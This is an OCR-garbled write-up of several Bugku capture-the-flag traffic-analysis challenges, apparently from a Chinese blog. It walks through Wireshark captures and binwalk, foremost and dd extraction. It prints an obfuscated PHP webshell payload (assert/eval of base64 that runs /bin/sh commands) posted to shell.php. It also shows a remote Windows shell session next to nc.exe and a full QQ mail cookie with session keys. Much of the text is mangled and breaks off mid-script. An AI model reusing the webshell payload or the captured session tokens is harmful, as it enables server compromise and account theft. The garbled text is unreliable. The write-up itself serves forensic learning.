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Tcp 364 52713 » http(s0) [PSH, ACK] Seq=1 Ac in-262144 Len=310 [TCP segment of a re:
HTTP 841 POST /shell.php HTTP/1.1 (application/x-ww-form-urlencoded)
D g ommrme
HTTP 361 HITP/1.1 260 OK (text/htnl)
ARP 42 who has 192.168.228.2?7 Tell 192.168.228.1
T6HPY3 54 Membership Report / Join group 224.0.8.252 for any sources
cHPY6 o Multicast Listener Report Message v2
LLINR 86 Standard query 0x6116 ANY Xman21
99 2017-69-12 20:14: LLMNR 66 Standard query 0x6116 ANY Xman21 A
i ,
ik AhttpiiE, BETCPESE
i & N httpiit & S =
[http. -] HiAs- +
27 2017-00-12 20:14:16.839488 192.168.228.1 192.168.228.135 HTTP 230 GET /shell.php HTTP/1.1
342017-09-12 20:14:17.796863 192.168.228.1 102.168.228.135 HTTP 430 GET /shell.php HTTP/1.1
. 902017-09-12 20:14:31.431558 192.168.228.1 192.168.228.135 HTTP 841 POST /shell.php HTTP/1.1 (application/x-ww-form-urlencoded)

301 HTTP/1.1 200 OK  (text/html)

RIS EH 847 POST /shell.php HTTP/1.1 (application/x-ww-form-urlencoded)

BEMETEHE)  CuleD

33117586 192.168.228.135 192 o 251HTTP/1.1 200 0K (text/html)

110 2017-09-12 20:14:34.819006 192.168.228.1 192 ::g:“’swwg g:::‘:h o 830 POST /shell.php HTTP/1.1 (application/x-ww-form-urlencoded)
112 2017-09-12 34.824089 192.168.228.135 T e C"Mk“c 239 HTTP/1.1 200 OK  (text/html)

127 2017-09-12 20:14:43.295412 192.168.228.1 192 513 GET / HTTP/1.1

132 2017-09-12 20:14:43.352245 192.168.228.135 192 659 HTTP/1.1 200 OK  (text/html)
133 2017-09-12 20:14:43.395927 192.168.228.1 192 »  472GET /icons/ubuntu-logo.png HTTP/1.1
135 2017-09-12 20:14:43,415774 192.168.228.135 192 ,  234HTTP/1.1 304 Not Modified
< , >
Frame 93: 301 bytes on wire (2408 bits), 301 bytes captured (242 e -~
Ethernet I, Src: Vmare 35:f9:es (80:0c:29:35:f9:es), Dst: Vmwal | IEETE b TR CulsAltsshifteT
Internet Protocol Version 4, Src: 192.168.228.135 (192.168.228.1 g pll U9  CEREEED

HEBBflag flag{This_is_a_f10g}


https://blog.csdn.net/Auuuuuuuu
https://blog.csdn.net/auuuuuuuu/category_8242595.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/Auuuuuuuu/article/details/101366456
https://blog.csdn.net/auuuuuuuu/category_8242595.html
https://ctf.bugku.com/files/e0b57d15b3f8e6190e72987177da1ffd/key.pcapng

phpmyadmin ~
shell.php

[s]
/var /www/html

[E]

X@YPOST /shell.php HTTP/1.1

X-Forwarded-For: 44.146.238.198

Referer: http://192.168.228.135/

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.e (compatible; Baiduspider/2.e; +http://www.baidu.com/search/spider.html)
Host: 192.168.228.135

Content-Length: 793

Cache-Control: no-cache

pass=array_map(“ass”."ert",array("ev"."AL(\"\\\$xx%3D\\\"Ba" . "SE6"."4_dEc"."0dE\\\";@ev". "al(\\\

$xx (" QGLuav9zZXQoImRpc3BsYX1FZXIyb3IzTiwiMCIpOOBZZXRFAGLEZVOsak1pdCgwKTtpZihQSFBFVKVSURLPTIWNNSAZL JANKXtAC2VOX21hZ21 jX3F1b3R1c19ydWS0al11KDAPO367
ZWNobygiWEBZT1k71609Z2V0X21hZ21X3F1b3R1c19ncGMOKT skcDONL2IpbiozaCc7IHMOI2NKICO2YXTvd3d3L 2hobkinvO2NhdCBIbGFnLNRAADEY2hvIFtTXTtwd2Q7ZWNobyBbRVONO
YRKPHRpCmShbWUOIFOTRVIWRVIBTINDUK1QVFOGSUXFTKFNRS IdKTskYz1zdWIZdHI0IGQSMCWXKTOOTi81Py TtYyBcInskc31cIiT61193 TFwieyRzfVwi TjskejoieyRwfSB7IGNIT]skyX
JyvxXkoYXIyYxkoYXJyYXkoInBpcGUiLCIyTiksYXJyYXkoInBpcGUiLCI3TiksYXIyYXkoInBpCGUiLCI3TikpOyRmcDIWCMOJX29WZWAOTHIUTi AYPiYXT iwkyXJyYXks JHBpCGVZKTskemV
@PXNOCTVhbVINZXRY29udGVudHMOIHBPCGVZWZF dKTtwcm9 jX2Nsb3N1KCRmcCk7cHIpbnQgIHI1dDs7ZWNoby g iWEBZIik7ZG11KCK7 ")) 5\") ;")) ;HTTP/1.1 200 OK

Date: Tue, 12 Sep 2017 12:14:36 GMT

server: Apache/2.4.18 (Ubuntu)

Content-Length: 49

Content-Type: text/html; charset=UTF-8

GYflag{T

s a fiog)
[s]
/var /www/html

[E]

X@YPOST /shell.php HTTP/1.1

X-Forwarded-For: 44.146.238.198

Referer: http://192.168.228.135/

Content-Type: application/x-wwu-form-urlencoded

User-Agent: Mozilla/5.e (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Host: 192.168.228.135

Content-Length: 785

Cache-Control: no-cache

pass=array_map("ass"."ert",array("ev"."AL(\"\\\$xx%3D\\\"B E6"."4_dEc"."0dE\\\";@ev"."al(\\\
$xx('QGluavozZxQoImRpc3BsYX1fZXIyb31zIiwiMCIp0OBZZXRFdG1tZVIsalW1pdCgwKTtpZihQSFBFVKVSUBLPTjWnNNSAZL JANKXTAC2VOX21hZ21jX3F1b3R1c19ydWS0aW11KDAPO307
ZWiNobygiWEBZT1k7160922V0X21hZ21X3F1b3R1c19ncGMOKTskcDONL2IpbiozaCc7IHMOI2NKICI2YXIvd3d3L2h taTt1Y2hvIFtTXTtwd2Q7: 0yRKPWRpC v
A 0.6 B HE, 3 BAE HE, 5 renls) ATZA.

BAFE (3924 bytes) = BRREMIEN ASCIT v
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THMEBRIREEL, BN RATKD

A cidsopcspng - x
HE) REE WENY) FHHG) MO HITA) #EHS) Ry RBEW TRED B

® 3 g ] - - = 0 s a & @« 1]
RO GEO ANO  SNmSe  EEE- B4 T-8E REAE-  BiAE RNAE ZRAE SR M) &b #ERD RENR
DE
Source. Destination Protocel Length Tnfo -
- 0.138938 10.211.55.61 192.168.1.145 e 66 49366 » http(80) [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=256 SACK PERH-1 | |
2 2016-06-27 16 1323260 192.168.1.145 10.211.55.61 e 62 http(80) > 49366 [SYN, ACK] Seq-0 Ack-1 Win-32768 Len-o M55-1460 Ws-2
3 2016-06-27 16 1323352 10.211.55.61 192.168.1.145 Tcp 5449366 > http(80) [ACK] Seq=1 A 2142 Len-0
42016-06-27 16 323527 10.211.55.61 192.168.1.145 P 35449366 > http(80) [PSH, ACK] Seq=1 Ack=1 Win=262144 Len=300 [TCP segment of a re:
. 520160627 16 1323559 10.211.55.61 192.168.1.145 e 826 POST /3.php HTTP/1.1 (application/x-ww-forn-urlencoded)
62016-06-27 16 10.211.55.61 cp 60 http(80) > 49366 [ACK] Seq=1 Ack=301 Win=32762 Len=0
7 2016-06-27 16 10.211.55.61 P 60 http(80) > 49366 [ACK] Seq=1 Ack=1075 Win=32768 Len=0
82016-06-27 16 10.211.55.61 e 1514 http(80) » 49366 [PSH, ACK] Seq=1 Ack=1075 Win=32768 Len=1460 [1CP segnent of a
©2016-06-27 16 10.211.55.61 HrTe 346 HTTP/1.1 200 OK (text/html)
10 2016-06-27 16:47:4 192.168.1.145 P 5449366 » http(80) [ACK] Seq=1075 Ack=1747 Win=262144 Len=o
112016-06-27 16:47:4 10.211.55.61 P 60 http(80) > 49366 [FIN, ACK] Seq=1747 Ack=1075 Win=32768 L
12 2016-06-27 16:47:4 192.168.1.145 P 5449366 > http(80) [ACK] Seq=1075 Ack=1748 Win-262142 Len=0 -
13 2016-06-27 16:48:01 192.168.1.145 e 5449366 > http(20) [FIN, ACK] Seq=1075 Ack=1748 Win=262144 Len=0
14 2016-06-27 16:48: 0% 10.211.55.61 P 60 http(80) > 49366 [ACK] Seq=1748 Ack=1076 Win=32768 Len-0
15 2016-06-27 1360521 10.211.55.61 192.165.1.145 Tcp 6649367 » http(80) [SYN] Seq=0 Win=65535 Len-0 MSS=1460 Ws=256 SACK PERM-1 =

RAETCPHMHTTPHHMKE, BETCPRESR, KIflag.tar.gzEgEe

M Wireshark - 188 TCP 7 (tcp.stream eq 0) - caidao.pcapng - O X
anylab/ 2016-01-28 07:26:27 ) 777 A
aspnet_client/ 2015-06-03 11:53:28 ] 0777
cc/ 2015-06-03 11:53:28 [z} 0777
cnf/  2016-03-29 03:13:32 [z} 0777
DedeCmsV5.6-GBK-Final/ 2015-@6-03 11:53:28 3 0777
DVWA/  2015-06-03 11:53:30 ] 0777
efuecms-master/ 2015-08-09 12:31:40 2] 0777
eims_cms_3.5/  2015-06-08 13:59:28 ) 0777
exec/  2016-01-28 06:45:26 [} o777
fckeditor/ 2016-01-18 ©3:09:11 [} 0777
FI/ 2015-06-15 06:36:57 [z} 0777
fileupload/ 2015-11-19 02:19:45 [} 0777
fwcms/  2016-01-28 ©3:11:29 [z} 0777
Ideacms/ 2015-06-03 11:53:30 [} 0777
inj/  2016-01-20 07:34:01 ] 0777
Ix/ 2015-06-03 11:53:31 ] 0777
lwems/ 2016-03-22 01:10:07 2} 0777
MSSQLpri/ 2015-06-03 11:53:31 [} 0777
MysqlubFpri/ 2015-06-15 ©7:37:22 2] 0777
sql/  2015-06-08 00:45:44 [z} 0777
sqli/  2015-12-30 08:06:54 [z} 0777
up/ 2015-06-08 00:36:02 [z} 0777
uploads/ 2015-06-08 00:36:11 [} 0777
wems/  2016-01-17 05:56:46 ] 0777
webshops/ 2015-06-08 08:04:59 e 0777
XiaoCms_20140710/ 2015-06-03 11:53:31 3 0777
xss/  2016-01-28 06:48:07 [} o777

2015-06-03 11:53:31 [} o777

2016-01-28 08:54:46 1740 0666

2016-06-01 03:36:25 27 0666

gzl 2016-06-27 ©8:45:38 203 0666
log.txt 2015-06-03 12:18:46 1502 0666
news.asp 2014-06-27 365 0666
SaveFile.asp 2014-06-27 822 0666
testNull.php  2014-07-17 16 0666
upload.html 2014-06-27 364 0666
webshell.php 2014-07-21 18 0666
xiaoma.asp;.jpg 2014-07-04 1312 0666
..... txt 2014-07-08 92 0666
@Y
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https://ctf.bugku.com/files/047cefd48389dfc5bdc055d348bbf520/caidao.zip

1% F kaliE B i) binwalk$z BUE 454,

binwalk -e caidao.pcapng XH#&E

li:~# binwalk -e caidao.pcapng

| DECIMAL HEXADECIMAL DESCRIPTION

Ox1E43 gzip compressed data, from Unix, last modified: 2016-06-27 08:44:39

53 1E4330 14

root@kali:~/ caidao.pcapng.extracted# 1s

XRE—AELER, 7] EWINdowsBSUE % NZipE T
B 3lflag key{8769fe393f2b998fab6a11afe2bfcd65e}
@kali:~/ caidao.pcapng.extracted# 1s

/ caidao.pcapng.extracted#
/_caidao.pcapng.extracted# binwalk -e !

HEXADECIMAL DESCRIPTION
POSIX tar archive

dkali:~/ caidao.pcapng.extracted# 1s

_1E43.extracted
i:~/ caidao.pcapng.extracted# cd 1E43.extracted/
/_caidao.pcapng.extracted/ 1E43.extracted# 1s

' _caidao.pcapng.extracted/ 1E43.extracted# cd flag/
caidao.pcapng.extracted/ 1E43.extracted/flag# 1s

pcapng.extracted/ 1F43.extracted/flag# cat flag.txt
8faballafe2bfcdbbe}root@ ali:~f_caidao.pcapng.extraq}ﬁ wﬂﬁ%ﬁﬁqﬁFﬁﬂﬁﬁﬁHﬂﬁhﬂHﬁ

EEEIV

«_{

RAZEEREHRBIL, FeikBlgetshell iV

Hma TCPH KEMARLRE, FHROVSdilx B indtAT 33 1 i 5 1 AF


https://ctf.bugku.com/files/425d97c3a1a2fa32dcead0ddd90467c0/CTF.pcapng.zip

M CTrpcapng - 8 x
RAHF) W(E) WME(V) MEEG) MERC) HIA) HaS) MIS(Y) Teew) TR(T) @)

a o) @ ® (9 ] - -» i 3 = @ aQ Y x
o ELo EEiue AR TR0 G50 #M0 EEMS® | SRHSO- N-AR T4 MEMS- HANE BNAR  SHAENGRRNG | SRAEAK | RAD W) sAk) @B
(NEEETHEE ~ Cul’ BET TR
Yo Protocol Lensth _Info

Tine Sourcs Destination

, ACK] Seq-1 Ack=1 Win-6 Len-0
49098 192 .15 2 g Klogin(543) » 60686 [RST, ACK] Seq k-1 Win-0 Len-0

349224 192.168.116. 2 138 54 xmltec-xmlmail(9091) » 6068 Seq=1 Ack-1 Win-0 Len-¢
54 1v-ff;

Frame 1: 110 bytes on wire (880 bits), 110 bytes captured (8o bits) on interface o
Ethernet II, Src: Vmware_62:1f:55 (00:0C:29:62:1F:55), Dst: Viware_flieb:eq (60:50:56:1:eb:e0)
Internet Protocol Version 4, Src: 192.168.116.159 (192.168.116.159), Dst: 192.168.116.2 (192.168.116.2)
User Datagram Protocol, Src Port: netbios-ns (137), Dst Port: netbios-ns (137)

NetB10s Name Service

HEARTCPH I EEER, WK 4023855 — FAR L LR

A CTrpcapng - 8 x
RHHE) REAE) WMEV) EELG) m&) SHT(A) %ﬂ(ﬁ) miEY) FEW) TRO HH)

4 % B ] - - i 3 = a & aq =
Fracs) F k(D) ir!”k()ﬂ i&lﬁ O FhE AAQ  EERRE  SHAEE - A9 ToHE BEAE- EMAE RIS SHERNa@rae | BEsENE RA@ @ S@ch EEE
(e o) A+
X, Tire Source Destiation Frotocol Lensth Info =1
4021 2016-04-14 21:41:05.632816 192.168.116.159 192.168.116.138 B 199 Negotiate Protocol Response

4ezz 2016-04-14 21:41:05. azswe 192 168.116.138 192.168.116.159 06 57378 - microsoft ds(445) [ACK] Sex
2016-04-14 o 5

4026 2016-04-14 192.168.116.159 e 119 Niegotiate Protocol Request =

12027 2016-02-14 192.168.116.159 Tep 6657384 » microsoft-ds(445) [ACK] Seq=1 ACK-1 Win=2969 Len-0 TSval-1596374 Tecr gy

4028 2016-04-14 192.168.116.138 s 199 Negotiate Protocol Response

4020 2016 04 10 199,168, 116.150 S 205 Session Setup AndX Reauest, User: \guest E

4030 2016-04-14 192.168.116.159 Tcp 6657382 > microsoft-ds(445) [ACK] Seq=54 Ack=134 Win-30720 Len=o Tsval-1596374 T

4031 2016-04-14 192.168.116.150 e 119 Negotiate Protocol Reque

4032 2016-04-14 192.168.116.138 st 199 Negotiate Protocol Response

4033 2016-04-14 192.168.116.159 Tep 6657384 > microsoft-ds(445) [ACK] Seq=54 Ack=134 Win=30720 Len-o Tsval=1596374 T

4034 2016-04-14 192.168.116.138 s 105 session Setup Andx Response, Error: STATUS_LOGON_FATLURE

4035 2016-04-14 21:41:05.636057 192.168.116.138 192.168.116.159 S8 153 Session Setup AndX Response, Error: STATUS_LOGON_FATLURE S
< >

Frame 4016: 66 bytes on wire (528 bits), 66 hytes captured (528 bits) on interface @ ~

Ethernet I, Src: Vmware_cail 6:94), Dst: Vmware_62:1f:55 (60:0c
Internet Protocol Version 4, Src: 192.168.116.138 (192.168.116.138), Dst: 192.168.116.159 (192.168.116.159)
Transmission Control Protocol, Src Port: 47572 (47572), Dst Port: ms-wbt-server (3389), seq: 1, Ack: 1, Len: 0

PR~

T TIEUETEY, BETCPREE, fHEAIL, —FLMK
FZREE—LHHE R, WK, HHE KE R b 14444 55 0104022 A KEAE, SIEEHER

tcp && ! tcp.port eq 4444 or ! tcp.port eq 1040 and ip.addr eq 192.168.116.138

RIVFER G0 O 35880 Fl 1234 BHFEER, BEREE

5504 2016-04-14 21145126.212217 192.168.116.138 192.168.116.159 e 66 35880 - search-agent(1234) [ACK] Seq-1 Ack=1 Win-29696 Len-0 Tsval-1661501 Tsect
5545 2016-04-14 21:45:26.281415 192.168.116.159 192.168.116.138 Tep 154 search-agent (1234) » 35880
556 2016-04-14 21:45:26.281630 192.168.116.138 192.168.116.159 Tce 56 35880 -+ search-agent (1234)
5507 2016-04-14 21:45:27,945789 192.168.116.138 192.168.116.159 s 69 35880 » search-agent (1234)
5508 2016-04-14 21:45:27.972939 192.168.116.159 192.168.116.138 Tcr 169 search-agent (1234) » 35880
192.168.116.159 e 66 35880 -~ search-agent(1234)
192.168.116.159 TcP 70 35880 » search-agent(1234)
192.168.116.138 e 267 search-agent (1234) - 35880
192.168.116.159 0 66 35880 > search-agent (1234)
192.168.116.138 e 267 search-agent (1234) - 35880
192.168.116.159 e 66 35880 -+ search-agent(1234)
192.168.116.138 e 235 search-agent (1234) » 35880 [P 5001
5556 2016-04-14 21:45:29.540019 192.168.116.138 192.168.116.159 e D b S EEerD) [Pt o s At tere) Sriatsern
>
| M wireshark - 85 TCP i (tcp.stream eq 1735) - CTF.pcapng - [u} x

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

Cc:\>1s

1 ]1s

'1s' is not recognized as an internal or external command,
operable program or batch file.

C:\>dir

dir

Volume in drive C has no label.
Volume Serial Number is B@3C-791A

pirectory of c:\

04/14/2016 ©08:50 PM © AUTOEXEC.BAT
04/14/2016 ©08:50 PM © CONFIG.SYS
04/14/2016 @8:52 PM <DIR> Documents and Settings
03/12/2012 10:24 PM 61,454 nc.exe
04/14/2016 @8:54 PM <DIR> Program Files
04/14/2016 @9:22 PM 36 sacrdt.txt
04/14/2016 @8:59 PM <DIR> WINDOWS

4 File(s) 61,490 bytes

3 pir(s) 17,719,083,008 bytes free

C:\>type sdcrat.txt
type sdcrat.txt

1rzvozbmlmzmvyfQ

C:\>shutdown -r -t 108 -m "Stupid Manager!"
shutdown -r -t 100 -m “Stupid Manager!




A& fbaseb4%itE, fRISEE, bingo, 5ZIflag

G FeHelper: FRTERI0RERS

QONURNtkb195b3VibGIrZVazbmimZmvyfQ

) Unicodefinzs © UnicodefZ © UTF8/URLANE

UTF16)022 O UTF16fEEE () Base64)1% @ Base

CCTF{do_you_like_sniffer}

CCTF{do_you_like_sniffer}

A8 H 7~ #kgetshell i E, BT ZRZER|shell T, $ATERAE, FTPARLZ MG AT X &R~

FHLHAA
BHBRIT:

httppan.baidu.comslcwwdVC

A REEERTHRERFFIREE, MEXAFHIRT s BEE B, RERIEG?

FHIE
HEWT obex il (HEFAEMTHII0  EUE

M sitend 1 peapng
THE REE RWAY RHG MRQ SHQ) S mEy Bew IS0 B

Q

® q - - 5 " s = =
who B TRG 5o EEwE  EERO- B-0E T_AE mEsE. wAE A0E iAmiSawo  FEAEw o @) sU weim
[OE= T mAe +
.. Tine Destintion Protosel Length Info ~
-+ 19389 2016-09-28 22:01:19.458895 localhost () remote () 0BEX 20 Sent Connect
« 19393 2016-09-28 22:01:19.507565 remote () localhost () oBEX 26 Revd Success

19394 2616-09-28 509027 localhost () remote () OBEX

19401 2016-09-28 291789 remote () localhost () oBEX 22 Revd Continue
19402 2016-09-28 291884 localhost () remote () 0BEX 19 sent Put final
19404 2016-69-28 344001 remote () localhost () oBEX 25 Revd success

19421 2016-09-28 952909 localhost () remote () oBEX 21 Sent Disconnect
19423 2016-69-28 976695 remote () localhost () oBEX 22 Revd success

38018 2016-09-28 284216 localhost () remote () oBEX 20 Sent Connect

38042 2016-09-28 340533 remote () localhost () oBEX 26 Revd success

38046 2016-09-28 .342124 localhost () remote () oBEX 184 Sent OBEX fragnent
38048 2016-09-28 342128 localhost () remote () oBEX 184 sent OBEX fragrent
38050 2016-09-28 .342131 localhost () remote () oBEX 184 Sent OBEX fragment
38054 2016-09-28 345055 localhost () remote () OBEX 184 sent OBEX fragment
38061 2016-09-28 360070 localhost () remote () oBEX 184 sent 0BEX fragnent

670 Sent Put continue “secret.rar”

Frame 19389: 20 bytes on wire (160 bits), 20 bytes captured (160 bits) on interface 0
Bluetooth
Bluetooth HCT Ha

Bluetooth L2CAP Protocol
Bluetooth RFCOMM Protocol
OBEX Protocol

KRIAT —AEgE, MER

e e e e ee . e
—» 19394 2016-09-28 22:01:19.509027 localhost ()
« 19401 2016-09-28 22:01:21.291789 remote ()

Y
remote ()
localhost ()

- 38127 2016-09-28 22:03:19.453116 localhost () remote () 0BEX
> 38130 2016-09-28 22:03:19.459110 localhost () remote () OBEX
+- 38945 2016-09-28 22:03:20.827788 remote () localhost () 0BEX

20045 2018 B0 20 278320 097088 TnraThark 11 et 03 noev 0 cant

22 Revd Continue
1

Pt €3

670 Sent Put continue "secret.rar"
22 Revd Continue

184 Sent OBEX fragment
736 Sent Put continue

-27bscab3béccable. jpg"



https://ctf.bugku.com/files/e0cf5af2997acd5ff12bc70f5caddb5f/Blatand_1.pcapng

% Fkali%E i) binwalk 43 8 e

binwalk -e Blatand_1.pcapng

/2T

»"‘_'I.atancl_l .pcapng ext racted# 1s
78B35B 7A8B87

7BAGAA

390007 791813 7BBAA7
390007.z1ib 791FE2
398006 7F7DC1
39F91A 765C52 799528 7C0476 7F81D1
7660EE 799D84
T9A55A
7EO52E

818ACH6
838D12
8C4ESE
7ASFAQ 7E2A51 8C4E9E.zlib flag.gif
TAG2EE TF2C25
78AEED TF3676 AB63D
:~/_Blatand_1.pcapng.extracted# I http .csdn. Juuuuuuyg

8 200% v a flag.gif

_Blatand_1.pc
apng.extracte
d

M
1EAL
httg w-.:.“J‘blogEFﬁu‘\Eh‘Auuuuuuuu

HERBHTTPRE, EEHTTPR, KI—NH P ELqqtisE L T —AMly.rar


https://ctf.bugku.com/files/58ae08bbd739136e19ff6138e49ae643/misc_fly.pcapng

M Wireshark - J&E HTTP 5% (tcp.stream eq 2) - misc_fly.pcapng - [m] X

POST /cgi-bin/uploadunite?func=CreateFile&&inputf=json&outputf=json&&sid=x508ZuWvSpoyxFgM HTTP/1.1

Host: set2.mail.qq.com

Connection: keep-alive

Content-Length: 143

Cache-Control: no-cache, max-age=0

origin: http://set2.mail.qq.com

If-Modified-Since:

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.146 BIDUBrowser/6.x
safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://set2.mail.qq.com/zh_CN/htmledition/ajax_proxy.html?mail.qq.com&v=140521

Accept-Encoding: gzip,deflate

Accept-Language: zh-CN,zh;q=0.8

Cookie: ssuid=9979081647; ptui_loginuin=81101652; o_cookie=81101652; pgv_pvid=370313294@; newpt=2;
ptcz=4d9oce097882e7b9300dbo618272c602d390465e21F8cc52d4aa719b7a73dfFf; pt2gguin=00081101652; uin=00081101652;
skey=@zTisQEDyk; p_uin=00@81101652; p_skey=SMR2Xte-Sd3SZj-LIjKO1POCLXsLYf6I5WR7DYT1x1s_; pta_token=VqHcOafacF-cGmaNbpHVyg ;
wimrefreshrun=e&; gm_flag=e; gqmail_alias=81101652@qq.com;

$1d=81101652&18c4549e039b41d8d5e73949a54d969a, qUO1SM1h@ZS1TZDNTWMOtTELqS@8XUEIDbFhZTF1mNko1VIT3RF1UbHgxc18. 5
gm_username=81101652; qm_sid=18c4549e630b41d8d5e73949a54d969a, qUe15M1heZS1TZDNTWMOtTELqS08XUESODbFhzTF1mNko1VAT3RF1UbHgxc18. ;
qm_domain=http://mail.qq.com; qm_ptsk-811016528@7TisQEDyk; foxacc=8110165280; ssl_edition=mail.qq.com; edition=mail.qq.com;
username=81101652881101652; CCSHOW=000001; new_mail num=81101652&0; webp=1; ptisp=cn

{"path" : EAVIIEIN, “appid":"","size":

525701, "md5" ! "e@23afasf6579db5Sbecdasfe7861c2d3"”, "sha": "ecccha7aealda82684374b22e2e7abad2bag6749", "sha3™ " " JHTTP/1.1 200 OK
Content-Type: application/json; charset=GB1g8e3e

Content-Length: 1003

{"result":{"errcode”:0, "message”:""},"data": {"sIP":"sz.mail.ftn.qq.com", "nPort™:

80, "sKey’ 7cbof7e5d9067792b5023cb@28bas42e653338521c5067213019b0958608c4060b3e756c14212ef37e7f876f7c815af 7fc@463df85921a63
efbedbaf14ee12193de81cb69belb8bab50103f68afbd3058a0df19bc30fb52f435Fd4e0ddoa6765302a25ef71009b873489471072e8a01a7488Fb62bad2
cca9cads5e8eads7030d7a0dco6eall7 c42041fc550a1f3bc5d28d63206559f af 2a3baa7bofc8850c12a4986a7b28192d07856des6ab51f31e23f9e0ca3d2
626209f380bfo6ec0ddf2392a8443¢788dfd2c8cc766328890417 ed1de7aaaa577bcbod1cfbfaleff7639acedabbb32bsbedbdoa3sbe6e747fd5d1079cac
a5c9d371fe350b8f43c7b7a8e07fa1f8003326869768efale77021e2d8811f0f c24d7133d48f3301ba157403b8bbab91264c5c1e3e46007cbad3e8as5735"
,"sFileId": "ypsP1lps%2B0odcfe5jbotzvcj3jXcmQKvim%2FapXkAk2ByRCaR%2Bkzgh2Ftyqz fnbez%2FqnwRwH%2Fx@AhBWFICRFBOf 7pxgXx97Agu1gAEeZC
OgDVHFVT5XMquFGhipxAhZU1hRrFdv™, "nAppId”: ™", "nDownCnt":0, "nCreateTime™:1424837275, "nExpireTime” 10, "nServersecond™ :
1424837275, "exist":0," sMailId": "ZF@025-Gk7VNrX_mE2gISF1VKH1Y52"}}

E4aa R/ size B AT 4105 525701

gRged IR, MEHREENSH ETEAN SRR LR ARMNERE. RITT A BIE A28 A KK E
131436, BJ5—NRITTT, BLZRRR N BE —3 5 5E

http & & http.request.method== POST

G 16 20isi0a2s wpieisy.seans tsa.se 1101 szmedl.feng.con WM 1i0posT /fin e/
2802005 02 2% 20150 RAT 192 UK A sl Fina con AP G FosI /Fin handleefachc [l
32 2025-02-23 12107758 035990 192 168,101 semail tnga.con AP 916 oSt /tin } Hie
577 2015.02.25 12107:50,160210 192,160,120 semail.fen.cq.con WP 762¢0sT e handler/ e/
7292015.02 25 12107:50.506089 192.168.1.101 sz mail.fin.cq.con  MITP  3oueost [fin iy

Hypertext Transfer Protocol
Data (131436 bytes)
Data: abcd9876000003ef000000000002015c01307cbaf705d906...
[Length: 131436]

<

Hypertext Transfer Protocol

Data (1777 bytes)
Data: abcd9876000003ef000000000000066101307cbof705d906...
[Length: 1777]

<

H2131436"4+1777=527521 ! = 525701, XRHToHfEmEH T TCPRIIMFk, Ak AMRTE —E
Pt CASCA: Sk B K /Nt
131436*4+1777=527571-525701=1820/5=364 & ZE A S0 % 5 H 36475 1 343k .

REHEHE, Ehx SRR, WIRFEmLA 12345



M misc fly.pcapng
MHE) RE(E MR BEG RO oA SitE

FIFFO) Ctrl+0O
FTFRIAR) y  HTH@ R
M Hex EAESA(D... Source
ESCil(e) Ctrl+w 1402 192.168.°
=s) B 1369 192.168."
BEH(A).. Ctrl+Shiftes 739 192.168.C
1990 192.168.°
RS * 1218 192.168.°
SHEESE.. 089 192.168."
SHSERITER » '531 192,168."
SHSETHREB)..  Ctrl+Shift+X 1168 192.168.°
St PDU BISTft... '305 192.168."
SH TLS 2E=A... 1649 192.168."
SHltE s DICOM...
FTENP)... Crrl+P HTTP...
IMF...
BHQ) crrt+Q SMB...

=

linux A dd fv4 & o

BV dd [T ]

if =8N (BR&EERD .

of =M (REELHK .

ibs = bytes —KiZHlbyteszH, BIEAZMWXHFHE.
skip = blocks BhidEAZMXFFLKibs*blocksHk,
obs = bytes —XE AbytesF¥, BIEANZHFXHFZT .

bs = bytes RN RERE/ FENXKTTH (FTiEibsMobs) .
Bi: (dd if=3CfF4 bs=HINHIHBRKIKAD skip=fWBE of=HrHICH4H)

dd if=1 bs=1 skip=364 of=1.1
dd if=2 bs=1 skip=364 of=2.1
dd if=3 bs=1 skip=364 of=3.1
dd if=4 bs=1 skip=364 of=4.1

dd if=5 bs=1 skip=364 of=5.1



kB/s

[S[N]R{UININ]N]

catPf 15 2 R 486 fly.rar

cat 1.1 2.1 3.1 4.1 5.1 > fly.rar

ctf# cat 1.

ctf# 1s

.1 3 3.1 4 4.1
:~fetf# ]

fly.rarfT FF#k4h, FFEEME, winhexdT JF

e, BenEAr, #0x844hr & B>y0x80B[ AT

|
ﬂy.zipl
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F ANSI ASCII a
00000000 52 61 72 21 1a 07 00 CF 90 73 00 00 OD 00 00 00 Rar! Is
00000010 00 00 00 OO FS 81 74 8F 90 2D 00 3D 05 08 00 86 ut, - = T
00000020 22 OF 00 02 25 2D ED F1 0% 5C 59 46 1D 35 08 00 " %-1ifi \YF 5
00000030 20 00 00 00 €€ éc €1 €7 2E 74 78 74 00 FO 79 03 flag.txt 8y
00000040 4c 18 1E 15 15 0C 89 15 DC 1€ 1D EF A3 72 4B 90 L & U 1ifrK
00000050 BO S0 08 24 3& 52 23 05 22 02 CB 41 C4 84 82 40 ° S:R# " ERA,,@
00000060 9D 04 3A EC 24 87 44 3A 58 Al 18 08 81 92 6F €0 $153D:X; fo*

00000070 2B 00 93 2C 9C 66 ES 33 1% 99 C5 CE 3C F6 BS 98 + “,efa3 »Af<s1~
00000080 98 F4 €3 86 1C E7 OC C4 (5 88 BB B7 25 84 84 41 “éct ¢ A" L BunR
00000090 53 A7 02 04 14 10 15 DD 96 23 OE 84 2C 08 97 F1 s§ ¢ ,, -A

hitps://blog.csdn.net/Auuuuuuuu

¥ Fkali &£ binwalk &E, KILATEEE A



binwalk flag.exe

-interlaced

PNG image, 280 x 280, 1-bit colormap, non-interlaced

i f foremost 73 B & A, 7E—HET IR I 7 B B PP 4R B — > — 4E8D

foremost -v -i flag.exe

F%  ctf output png ¥
b X

00001762.png  00001770.png
00001802png  00001811png
00001843.png  0000185L.png

00001883.png  00001892.png

H#BEFIflag flag{m1Sc_ox02_Fly}

B T EiaER

1 @

E—#ER N HERRE R e

HER
flag{m1Sc_ox02_Fiy}

T #4838 Access.logx 4, Unicodefi#tfid kIl 2 dvwailiz i sqlE it 2

H&RflagFBRARWT, sqmapifid =4 vEE N RN R 7B


https://ctf.bugku.com/files/195eea16a36594dcb1b0ea7015d68973/5b0b08e0-31aa-4a8d-ae19-89b843554506.zip

M _LcopyfI AR, HREVFERF

# coding:utf-8
import re
import urllib

f = open('C:\\access.log','r")
lines = f.readlines()
datas = []
